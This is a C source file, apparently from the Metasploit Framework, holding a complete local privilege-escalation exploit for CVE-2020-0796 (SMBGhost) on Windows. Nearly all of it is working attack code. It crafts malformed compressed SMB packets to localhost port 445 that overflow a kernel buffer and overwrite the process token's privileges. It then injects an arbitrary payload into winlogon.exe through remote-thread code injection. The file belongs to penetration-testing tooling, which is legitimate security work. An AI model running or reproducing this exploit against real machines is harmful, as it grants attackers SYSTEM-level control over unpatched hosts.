rapid7/metasploit-framework

View on GitHub
external/source/exploits/CVE-2020-0796/LPE/exploit.c

Summary

Maintainability
Test Coverage
/*
 * CVE-2020-0796 LPE
 *
 * Daniel Garcia Gutierrez (@danigargu) - danigargu[at]gmail.com
 * Manuel Blanco Parajon (@dialluvioso) - dialluvioso[at]protonmail.com
 * Date: 03/29/2020
 *
 **/

#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <TlHelp32.h>
#include "exploit.h"

typedef struct _MSF_PAYLOAD {
    DWORD  dwSize;
    CHAR  cPayloadData[];
} MSF_PAYLOAD;
typedef MSF_PAYLOAD* PMSF_PAYLOAD;

ULONG64 get_handle_addr(HANDLE h) {
    ULONG len = 20;
    NTSTATUS status = (NTSTATUS)0xc0000004;
    PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;
    
    HMODULE ntdll = GetModuleHandle("ntdll.dll");
    if (ntdll == NULL) {
        return 0;
    }

    fpNtQuerySystemInformation NtQuerySystemInformation = (fpNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
    if (NtQuerySystemInformation == NULL) {
        return 0;
    }

    do {
        len *= 2;
        pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);
        status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, len, &len);
    } while (status == (NTSTATUS)0xc0000004);

    if (status != (NTSTATUS)0x0) {
        return 0;
    }

    DWORD mypid = GetProcessId(GetCurrentProcess());
    ULONG64 ptrs[1000] = { 0 };
    for (int i = 0; i < pHandleInfo->NumberOfHandles; i++) {
        PVOID object = pHandleInfo->Handles[i].Object;
        ULONG_PTR handle = pHandleInfo->Handles[i].HandleValue;
        DWORD pid = (DWORD)pHandleInfo->Handles[i].UniqueProcessId;
        if (pid != mypid)
            continue;
        if (handle == (ULONG_PTR)h)
            return (ULONG64)object;
    }
    return 0;
}

ULONG64 get_process_token() {
    HANDLE token;
    HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
    if (proc == INVALID_HANDLE_VALUE)
        return 0;

    OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token);
    return get_handle_addr(token);
}

int error_exit(SOCKET sock) {
    WSACleanup();
    return EXIT_FAILURE;
}

int send_negotiation(SOCKET sock) {
    int err = 0;
    char response[8] = { 0 };

    const uint8_t buf[] = {
        /* NetBIOS Wrapper */
        0x00,                   /* session */
        0x00, 0x00, 0xC4,       /* length */

        /* SMB Header */
        0xFE, 0x53, 0x4D, 0x42, /* protocol id */
        0x40, 0x00,             /* structure size, must be 0x40 */
        0x00, 0x00,             /* credit charge */
        0x00, 0x00,             /* channel sequence */
        0x00, 0x00,             /* channel reserved */
        0x00, 0x00,             /* command */
        0x00, 0x00,             /* credits requested */
        0x00, 0x00, 0x00, 0x00, /* flags */
        0x00, 0x00, 0x00, 0x00, /* chain offset */
        0x00, 0x00, 0x00, 0x00, /* message id */
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, /* reserved */
        0x00, 0x00, 0x00, 0x00, /* tree id */
        0x00, 0x00, 0x00, 0x00, /* session id */
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, /* signature */
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00,

        /* SMB Negotiation Request */
        0x24, 0x00,             /* structure size */
        0x08, 0x00,             /* dialect count, 8 */
        0x00, 0x00,             /* security mode */
        0x00, 0x00,             /* reserved */
        0x7F, 0x00, 0x00, 0x00, /* capabilities */
        0x01, 0x02, 0xAB, 0xCD, /* guid */
        0x01, 0x02, 0xAB, 0xCD,
        0x01, 0x02, 0xAB, 0xCD,
        0x01, 0x02, 0xAB, 0xCD,
        0x78, 0x00,             /* negotiate context */
        0x00, 0x00,             /* additional padding */
        0x02, 0x00,             /* negotiate context count */
        0x00, 0x00,             /* reserved 2 */
        0x02, 0x02,             /* dialects, SMB 2.0.2 */
        0x10, 0x02,             /* SMB 2.1 */
        0x22, 0x02,             /* SMB 2.2.2 */
        0x24, 0x02,             /* SMB 2.2.3 */
        0x00, 0x03,             /* SMB 3.0 */
        0x02, 0x03,             /* SMB 3.0.2 */
        0x10, 0x03,             /* SMB 3.0.1 */
        0x11, 0x03,             /* SMB 3.1.1 */
        0x00, 0x00, 0x00, 0x00, /* padding */

        /* Preauth context */
        0x01, 0x00,             /* type */
        0x26, 0x00,             /* length */
        0x00, 0x00, 0x00, 0x00, /* reserved */
        0x01, 0x00,             /* hash algorithm count */
        0x20, 0x00,             /* salt length */
        0x01, 0x00,             /* hash algorith, SHA512 */
        0x00, 0x00, 0x00, 0x00, /* salt */
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00,             /* pad */

        /* Compression context */
        0x03, 0x00,             /* type */
        0x0E, 0x00,             /* length */
        0x00, 0x00, 0x00, 0x00, /* reserved */
        0x02, 0x00,             /* compression algorithm count */
        0x00, 0x00,             /* padding */
        0x01, 0x00, 0x00, 0x00, /* flags */
        0x02, 0x00,             /* LZ77 */
        0x03, 0x00,             /* LZ77+Huffman */
        0x00, 0x00, 0x00, 0x00, /* padding */
        0x00, 0x00, 0x00, 0x00
    };

    if ((err = send(sock, (const char*)buf, sizeof(buf), 0)) != SOCKET_ERROR) {
        recv(sock, response, sizeof(response), 0);
    }

    return err;
}

int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) {
    int err = 0;
    char response[8] = { 0 };

    const uint8_t buf[] = {
        /* NetBIOS Wrapper */
        0x00,
        0x00, 0x00, 0x33,

        /* SMB Header */
        0xFC, 0x53, 0x4D, 0x42, /* protocol id */
        0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
        0x02, 0x00,             /* compression algorithm, LZ77 */
        0x00, 0x00,             /* flags */
        0x10, 0x00, 0x00, 0x00, /* offset */
    };

    uint8_t* packet = (uint8_t*)malloc(sizeof(buf) + 0x10 + len);
    if (packet == NULL) {
        return error_exit(sock);
    }

    memcpy(packet, buf, sizeof(buf));
    *(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
    *(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
    memcpy(packet + sizeof(buf) + 0x10, buffer, len);

    if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) {
        recv(sock, response, sizeof(response), 0);
    }

    free(packet);
    return err;
}

void inject(PMSF_PAYLOAD pMsfPayload) {
    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    int pid = -1;
    if (Process32First(snapshot, &entry) == TRUE) {
        while (Process32Next(snapshot, &entry) == TRUE) {
            if (lstrcmpiA(entry.szExeFile, "winlogon.exe") == 0) {
                pid = entry.th32ProcessID;
                break;
            }
        }
    }
    CloseHandle(snapshot);

    if (pid < 0) {
        return;
    }

    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (hProc == NULL) {
        return;
    }

    LPVOID lpMem = VirtualAllocEx(hProc, NULL, pMsfPayload->dwSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (lpMem == NULL) {
        return;
    }
    if (!WriteProcessMemory(hProc, lpMem, &pMsfPayload->cPayloadData, pMsfPayload->dwSize, 0)) {
        return;
    }
    if (!CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0)) {
        return;
    }
}

DWORD exploit(PMSF_PAYLOAD pMsfPayload) {
    WORD wVersionRequested = MAKEWORD(2, 2);
    WSADATA wsaData = { 0 };
    SOCKET sock = INVALID_SOCKET;
    uint64_t ktoken = 0;

    int err = 0;

    if ((err = WSAStartup(wVersionRequested, &wsaData)) != 0) {
        return EXIT_FAILURE;
    }

    if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {
        WSACleanup();
        return EXIT_FAILURE;
    }

    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock == INVALID_SOCKET) {
        WSACleanup();
        return EXIT_FAILURE;
    }

    SOCKADDR_IN client;
    client.sin_family = AF_INET;
    client.sin_port = htons(445);
    InetPton(AF_INET, "127.0.0.1", &client.sin_addr);

    if (connect(sock, (SOCKADDR*)&client, sizeof(client)) == SOCKET_ERROR) {
        return error_exit(sock);
    }

    if (send_negotiation(sock) == SOCKET_ERROR) {
        return error_exit(sock);
    }

    ULONG buffer_size = 0x1110;
    UCHAR* buffer = (UCHAR*)malloc(buffer_size);
    if (buffer == NULL) {
        return error_exit(sock);
    }

    ktoken = get_process_token();
    if (ktoken == 0) {
        return EXIT_FAILURE;
    }

    HMODULE ntdll = GetModuleHandle("ntdll.dll");
    if (ntdll == NULL) {
        return EXIT_FAILURE;
    }
    fpRtlGetCompressionWorkSpaceSize RtlGetCompressionWorkSpaceSize = (fpRtlGetCompressionWorkSpaceSize)GetProcAddress(ntdll, "RtlGetCompressionWorkSpaceSize");
    if (RtlGetCompressionWorkSpaceSize == NULL) {
        return EXIT_FAILURE;
    }
    fpRtlCompressBuffer RtlCompressBuffer = (fpRtlCompressBuffer)GetProcAddress(ntdll, "RtlCompressBuffer");
    if (RtlCompressBuffer == NULL) {
        return EXIT_FAILURE;
    }

    memset(buffer, 'A', 0x1108);
    *(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */

    ULONG CompressBufferWorkSpaceSize = 0;
    ULONG CompressFragmentWorkSpaceSize = 0;
    err = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_XPRESS,
        &CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize);

    if (err != STATUS_SUCCESS) {
        return error_exit(sock);
    }

    ULONG FinalCompressedSize;
    UCHAR compressed_buffer[64];
    LPVOID lpWorkSpace = malloc(CompressBufferWorkSpaceSize);
    if (lpWorkSpace == NULL) {
        return error_exit(sock);
    }

    err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size,
        compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace);

    if (err != STATUS_SUCCESS) {
        free(lpWorkSpace);
        return error_exit(sock);
    }

    if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) {
        return error_exit(sock);
    }

    inject(pMsfPayload);

    WSACleanup();
    return EXIT_SUCCESS;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
    BOOL bReturnValue = TRUE;
    switch (dwReason)
    {
    case DLL_QUERY_HMODULE:
        hAppInstance = hinstDLL;
        if (lpReserved != NULL)
        {
            *(HMODULE*)lpReserved = hAppInstance;
        }
        break;
    case DLL_PROCESS_ATTACH:
        hAppInstance = hinstDLL;
        exploit((PMSF_PAYLOAD)lpReserved);
        break;
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return bReturnValue;
}